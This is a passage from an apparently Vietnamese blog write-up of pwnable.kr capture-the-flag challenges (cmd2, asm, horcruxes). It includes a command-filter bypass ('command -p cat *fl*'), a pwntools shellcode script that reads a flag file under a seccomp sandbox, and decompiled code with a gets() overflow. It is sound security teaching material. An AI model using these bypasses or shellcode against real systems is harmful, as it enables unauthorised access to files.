class="built_in">strstr</span>(cmd, <span class="string">&quot;/&quot;</span>)!=<span class="number">0</span>;</span><br><span class="line">r += <span class="built_in">strstr</span>(cmd, <span class="string">&quot;`&quot;</span>)!=<span class="number">0</span>;</span><br><span class="line">r += <span class="built_in">strstr</span>(cmd, <span class="string">&quot;flag&quot;</span>)!=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">return</span> r;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">extern</span> <span class="type">char</span>** environ;</span><br><span class="line"><span class="type">void</span> <span class="title function_">delete_env</span><span class="params">()</span>&#123;</span><br><span class="line"><span class="type">char</span>** p;</span><br><span class="line"><span class="keyword">for</span>(p=environ; *p; p++)<span class="built_in">memset</span>(*p, <span class="number">0</span>, <span class="built_in">strlen</span>(*p));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[], <span class="type">char</span>** envp)</span>&#123;</span><br><span class="line">delete_env();</span><br><span class="line">putenv(<span class="string">&quot;PATH=/no_command_execution_until_you_become_a_hacker&quot;</span>);</span><br><span class="line"><span class="keyword">if</span>(filter(argv[<span class="number">1</span>])) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%s\n&quot;</span>, argv[<span class="number">1</span>]);</span><br><span class="line">setregid(getegid(), getegid());</span><br><span class="line"></span><br><span class="line">system( argv[<span class="number">1</span>] );</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="Solution-4"><a href="#Solution-4" class="headerlink" title="Solution"></a>Solution</h2><p>Câu này khoai hơn, nó filter cả <code>/</code> và <code>export</code> nên coi như không khôn lỏi như trên được. Do đó ta cần dùng tới câu lệnh <code>command</code> - Được tích hợp sẵn theo tiêu chuẩn POSIX nên mọi shell sẽ có lệnh này. Thì thực ra trong shell có những module được builtin - Có nghĩa là gắn liền và tích hợp vào shell, thì ngoài lệnh <code>command</code> được đề cập ở trên thì có những thứ khác như đường dẫn tiêu chuẩn cũng tính hợp vào shell, đó là <code>/bin:/usr/bin</code>. GIúp cho việc thực thi lệnh chuẩn nhất có thể cho dù có đổi bao nhiêu path đi chăng nữa. Một từ khóa giải quyết toàn bộ vấn đề.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">cmd2@ubuntu:~$ ./cmd2 <span class="string">&#x27;command -p cat *fl*&#x27;</span></span><br><span class="line">command -p cat *fl*</span><br><span class="line">Shell_variables_can_be_quite_fun_to_play_with!</span><br></pre></td></tr></table></figure><h1 id="asm"><a href="#asm" class="headerlink" title="asm"></a>asm</h1><h2 id="Description-5"><a href="#Description-5" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Mommy! I think I know how to make shellcode</span><br><span class="line"></span><br><span class="line">ssh <span class="keyword">asm</span>@pwnable.kr -p2222 (pw: guest)</span><br></pre></td></tr></table></figure><h2 id="Source-5"><a href="#Source-5" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/mman.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;seccomp.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/prctl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> LENGTH 128</span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">sandbox</span><span class="params">()</span>&#123;</span><br><span class="line">scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);</span><br><span class="line"><span class="keyword">if</span> (ctx == <span class="literal">NULL</span>) &#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;seccomp error\n&quot;</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), <span class="number">0</span>);</span><br><span class="line">seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), <span class="number">0</span>);</span><br><span class="line">seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), <span class="number">0</span>);</span><br><span class="line">seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(<span class="built_in">exit</span>), <span class="number">0</span>);</span><br><span class="line">seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (seccomp_load(ctx) &lt; <span class="number">0</span>)&#123;</span><br><span class="line">seccomp_release(ctx);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;seccomp error\n&quot;</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br><span class="line">seccomp_release(ctx);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">char</span> stub[] = <span class="string">&quot;\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff&quot;</span>;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">char</span> filter[<span class="number">256</span>];</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[])</span>&#123;</span><br><span class="line"></span><br><span class="line">setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, _IONBF, <span class="number">0</span>);</span><br><span class="line">setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, _IOLBF, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Welcome to shellcoding practice challenge.\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;If this does not challenge you. you should play &#x27;asg&#x27; challenge :)\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">char</span>* sh = (<span class="type">char</span>*)mmap(<span class="number">0x41414000</span>, <span class="number">0x1000</span>, <span class="number">7</span>, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"><span class="built_in">memset</span>(sh, <span class="number">0x90</span>, <span class="number">0x1000</span>);</span><br><span class="line"><span class="built_in">memcpy</span>(sh, stub, <span class="built_in">strlen</span>(stub));</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> offset = <span class="keyword">sizeof</span>(stub);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;give me your x64 shellcode: &quot;</span>);</span><br><span class="line">read(<span class="number">0</span>, sh+offset, <span class="number">1000</span>);</span><br><span class="line"></span><br><span class="line">alarm(<span class="number">10</span>);</span><br><span class="line">chroot(<span class="string">&quot;/home/asm_pwn&quot;</span>);<span class="comment">// you are in chroot jail. so you can&#x27;t use symlink in /tmp</span></span><br><span class="line">sandbox();</span><br><span class="line">((<span class="type">void</span> (*)(<span class="type">void</span>))sh)();</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="Solution-5"><a href="#Solution-5" class="headerlink" title="Solution"></a>Solution</h2><p>Câu này là dạng seccomp, nghĩa là nó có thể chặn các hành động của syscall. Dùng <code>seccomp-tools</code> là sẽ nhận diện được :</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"> seccomp-tools dump ./<span class="keyword">asm</span></span><br><span class="line">Welcome to shellcoding practice challenge.</span><br><span class="line">In this challenge, you can run your x64 shellcode under SECCOMP sandbox.</span><br><span class="line">Try to make shellcode that spits flag using <span class="title function_">open</span><span class="params">()</span>/<span class="title function_">read</span><span class="params">()</span>/<span class="title function_">write</span><span class="params">()</span> systemcalls only.</span><br><span class="line">If this does not challenge you. you should play &#x27;asg&#x27; challenge :)</span><br><span class="line">give me your x64 shellcode: 123</span><br><span class="line"> line  CODE  JT   JF      K</span><br><span class="line">=================================</span><br><span class="line"> <span class="number">0000</span>: <span class="number">0x20</span> <span class="number">0x00</span> <span class="number">0x00</span> <span class="number">0x00000004</span>  A = arch</span><br><span class="line"> <span class="number">0001</span>: <span class="number">0x15</span> <span class="number">0x00</span> <span class="number">0x09</span> <span class="number">0xc000003e</span>  <span class="keyword">if</span> (A != ARCH_X86_64) <span class="keyword">goto</span> <span class="number">0011</span></span><br><span class="line"> <span class="number">0002</span>: <span class="number">0x20</span> <span class="number">0x00</span> <span class="number">0x00</span> <span class="number">0x00000000</span>  A = sys_number</span><br><span class="line"> <span class="number">0003</span>: <span class="number">0x35</span> <span class="number">0x00</span> <span class="number">0x01</span> <span class="number">0x40000000</span>  <span class="keyword">if</span> (A &lt; <span class="number">0x40000000</span>) <span class="keyword">goto</span> <span class="number">0005</span></span><br><span class="line"> <span class="number">0004</span>: <span class="number">0x15</span> <span class="number">0x00</span> <span class="number">0x06</span> <span class="number">0xffffffff</span>  <span class="keyword">if</span> (A != <span class="number">0xffffffff</span>) <span class="keyword">goto</span> <span class="number">0011</span></span><br><span class="line"> <span class="number">0005</span>: <span class="number">0x15</span> <span class="number">0x04</span> <span class="number">0x00</span> <span class="number">0x00000000</span>  <span class="keyword">if</span> (A == read) <span class="keyword">goto</span> <span class="number">0010</span></span><br><span class="line"> <span class="number">0006</span>: <span class="number">0x15</span> <span class="number">0x03</span> <span class="number">0x00</span> <span class="number">0x00000001</span>  <span class="keyword">if</span> (A == write) <span class="keyword">goto</span> <span class="number">0010</span></span><br><span class="line"> <span class="number">0007</span>: <span class="number">0x15</span> <span class="number">0x02</span> <span class="number">0x00</span> <span class="number">0x00000002</span>  <span class="keyword">if</span> (A == open) <span class="keyword">goto</span> <span class="number">0010</span></span><br><span class="line"> <span class="number">0008</span>: <span class="number">0x15</span> <span class="number">0x01</span> <span class="number">0x00</span> <span class="number">0x0000003c</span>  <span class="keyword">if</span> (A == <span class="built_in">exit</span>) <span class="keyword">goto</span> <span class="number">0010</span></span><br><span class="line"> <span class="number">0009</span>: <span class="number">0x15</span> <span class="number">0x00</span> <span class="number">0x01</span> <span class="number">0x000000e7</span>  <span class="keyword">if</span> (A != exit_group) <span class="keyword">goto</span> <span class="number">0011</span></span><br><span class="line"> <span class="number">0010</span>: <span class="number">0x06</span> <span class="number">0x00</span> <span class="number">0x00</span> <span class="number">0x7fff0000</span>  <span class="keyword">return</span> ALLOW</span><br><span class="line"> <span class="number">0011</span>: <span class="number">0x06</span> <span class="number">0x00</span> <span class="number">0x00</span> <span class="number">0x00000000</span>  <span class="keyword">return</span> KILL </span><br></pre></td></tr></table></figure><p>Ở đây nó cho thực thi lệnh <code>read</code>, <code>write</code>, <code>open</code> → Đủ đọc flag :&gt; </p><p>Vậy chỉ cần tạo shell để mở, đọc vài in ra file trong màn hình thôi :&gt; Trong shellcode của mình là mình sẽ gọi tới 1 luồng nhập vào và mở file với tên của luồng đó. </p><h2 id="Payload-2"><a href="#Payload-2" class="headerlink" title="Payload"></a>Payload</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">import sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="title function_">len</span><span class="params">(sys.argv)</span> &lt;= <span class="number">2</span>:</span><br><span class="line">    p = process(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>])</span><br><span class="line">    e = ELF(<span class="string">&quot;./&quot;</span> + sys.argv[<span class="number">1</span>], checksec=False)</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    remote_addr = sys.argv[<span class="number">1</span>]</span><br><span class="line">    remote_port = sys.argv[<span class="number">2</span>]</span><br><span class="line">    p = remote(remote_addr, <span class="type">int</span>(remote_port))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;DEBUG&#x27;</span></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line">filename = b<span class="string">&quot;this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\x00&quot;</span></span><br><span class="line"></span><br><span class="line">shellcode = <span class="keyword">asm</span>(f<span class="string">&quot;&quot;</span><span class="string">&quot;</span></span><br><span class="line"><span class="string">xor eax, eax      </span></span><br><span class="line"><span class="string">xor edi, edi     </span></span><br><span class="line"><span class="string">mov rsi, rsp</span></span><br><span class="line"><span class="string">mov dl, 0xff </span></span><br><span class="line"><span class="string">syscall</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">mov rdi, rsp</span></span><br><span class="line"><span class="string">xor esi, esi</span></span><br><span class="line"><span class="string">mov al, 2</span></span><br><span class="line"><span class="string">syscall</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">mov rdi, rax</span></span><br><span class="line"><span class="string">mov rsi, rsp</span></span><br><span class="line"><span class="string">mov dl, 0xff</span></span><br><span class="line"><span class="string">xor eax, eax</span></span><br><span class="line"><span class="string">syscall</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">mov rdx, rax</span></span><br><span class="line"><span class="string">mov dil, 1</span></span><br><span class="line"><span class="string">mov al, 1</span></span><br><span class="line"><span class="string">syscall</span></span><br><span class="line"><span class="string">&quot;</span><span class="string">&quot;&quot;</span>)</span><br><span class="line"></span><br><span class="line">payload = shellcode</span><br><span class="line">p.sendlineafter(b<span class="string">&#x27;give me your x64 shellcode:&#x27;</span>, payload)</span><br><span class="line">p.sendlineafter(b<span class="string">&#x27;&#x27;,filename)</span></span><br><span class="line"><span class="string">p.interactive()</span></span><br></pre></td></tr></table></figure><h1 id="horcruxes"><a href="#horcruxes" class="headerlink" title="horcruxes"></a>horcruxes</h1><h2 id="Description-6"><a href="#Description-6" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Voldemort concealed his splitted soul inside <span class="number">7</span> horcruxes.</span><br><span class="line">Find all horcruxes, and ROP it!</span><br><span class="line">author: jiwon choi</span><br><span class="line"></span><br><span class="line">ssh horcruxes@pwnable.kr -p2222 (pw:guest)</span><br></pre></td></tr></table></figure><h2 id="Source-6"><a href="#Source-6" class="headerlink" title="Source"></a>Source</h2><p>using IDA to reverse and get source.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">A</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;You found \&quot;Tom Riddle&#x27;s Diary\&quot; (EXP +%d)\n&quot;</span>, a);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">B</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;You found \&quot;Marvolo Gaunt&#x27;s Ring\&quot; (EXP +%d)\n&quot;</span>, b);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">C</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;You found \&quot;Helga Hufflepuff&#x27;s Cup\&quot; (EXP +%d)\n&quot;</span>, c);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">D</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;You found \&quot;Salazar Slytherin&#x27;s Locket\&quot; (EXP +%d)\n&quot;</span>, d);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">E</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;You found \&quot;Rowena Ravenclaw&#x27;s Diadem\&quot; (EXP +%d)\n&quot;</span>, e);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">F</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;You found \&quot;Nagini the Snake\&quot; (EXP +%d)\n&quot;</span>, f);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">G</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;You found \&quot;Harry Potter\&quot; (EXP +%d)\n&quot;</span>, g);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">ropme</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">100</span>]; <span class="comment">// [esp+4h] [ebp-74h] BYREF</span></span><br><span class="line">  <span class="type">int</span> v2; <span class="comment">// [esp+68h] [ebp-10h] BYREF</span></span><br><span class="line">  <span class="type">int</span> fd; <span class="comment">// [esp+6Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Select Menu:&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v2);</span><br><span class="line">  getchar();</span><br><span class="line">  <span class="keyword">if</span> ( v2 == a )</span><br><span class="line">  &#123;</span><br><span class="line">    A();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> ( v2 == b )</span><br><span class="line">  &#123;</span><br><span class="line">    B();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> ( v2 == c )</span><br><span class="line">  &#123;</span><br><span class="line">    C();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> ( v2 == d )</span><br><span class="line">  &#123;</span><br><span class="line">    D();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> ( v2 == e )</span><br><span class="line">  &#123;</span><br><span class="line">    E();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> ( v2 == f )</span><br><span class="line">  &#123;</span><br><span class="line">    F();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> ( v2 == g )</span><br><span class="line">  &#123;</span><br><span class="line">    G();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;How many EXP did you earned? : &quot;</span>);</span><br><span class="line">    gets(s);</span><br><span class="line">    <span class="keyword">if</span> ( atoi(s) == sum )</span><br><span class="line">    &#123;</span><br><span class="line">      fd = open(<span class="string">&quot;/home/horcruxes_pwn/flag&quot;</span>, <span class="number">0</span>);</span><br><span class="line">      s[read(fd, s, <span class="number">0x64u</span>)] = <span class="number">0</span>;</span><br><span class="line">      <span class="built_in">puts</span>(s);</span><br><span class="line">      close(fd);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;You&#x27;d better get more experience to kill Voldemort&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">init_ABCDEFG</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> buf; <span class="comment">// [esp+8h] [ebp-10h] BYREF</span></span><br><span class="line">  <span class="type">int</span> fd; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  fd = open(<span class="string">&quot;/dev/urandom&quot;</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="keyword">if</span> ( read(fd, &amp;buf, <span class="number">4u</span>) != <span class="number">4</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/dev/urandom error&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  close(fd);</span><br><span class="line">  srand(buf);</span><br><span class="line">  a = <span class="number">-559038737</span> * rand() % <span class="number">0xCAFEBABE</span>;</span><br><span class="line">  b = <span class="number">-559038737</span> * rand() % <span class="number">0xCAFEBABE</span>;</span><br><span class="line">  c = <span class="number">-559038737</span> * rand() % <span class="number">0xCAFEBABE</span>;</span><br><span class="line">  d = <span class="number">-559038737</span> * rand() % <span class="number">0xCAFEBABE</span>;</span><br><span class="line">  e = <span class="number">-559038737</span> * rand() % <span class="number">0xCAFEBABE</span>;</span><br><span class="line">  f = <span class="number">-559038737</span> * rand() % <span class="number">0xCAFEBABE</span>;</span><br><span class="line">  g = <span class="number">-559038737</span> * rand() % <span class="number">0xCAFEBABE</span>;</span><br><span class="line">  result = f + e + d + c + b + a + g;</span><br><span class="line">  sum = result;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">hint</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Voldemort concealed his splitted soul inside 7 horcruxes.&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Find all horcruxes, and destroy it!\n&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span 